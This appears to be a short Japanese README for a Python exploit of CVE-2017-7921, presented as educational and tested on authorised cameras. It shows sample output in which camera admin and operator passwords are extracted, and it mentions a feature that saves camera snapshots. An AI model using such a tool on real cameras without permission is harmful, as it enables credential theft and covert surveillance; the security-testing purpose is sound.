
CVE-2017-7921 を Python でシンプルに書き直したものです。教育目的のみで作成しました。
かなりシンプルで、IPアドレス等のチェックや、レスポンスに対する高度なチェックなどは含めていません。 ローカルネットワーク内でテストを許可されているカメラに対してテストし、完全に動作しているようです。
#出力例:
python 2017.py
found usernames: admin,defualt
admin:Pa$$W0rd
defualt:Xf07732479
これは、同じエクスプロイトを "msfconsole" で使用した場合に取得できる認証情報と一致します。
[*] User Credentials Information:
-----------------------------
User:admin | ID:1 | Role:Administrator | Password: Pa$$W0rd
User:defualt | ID:2 | Role:Operator | Password: Xf07732479
CVE: https://nvd.nist.gov/vuln/detail/cve-2017-7921
#更新
さらに、/Streaming/channels/1/picture からスナップショットを取得し、ip.jpg というファイルに保存できるスナップショット機能も追加しました。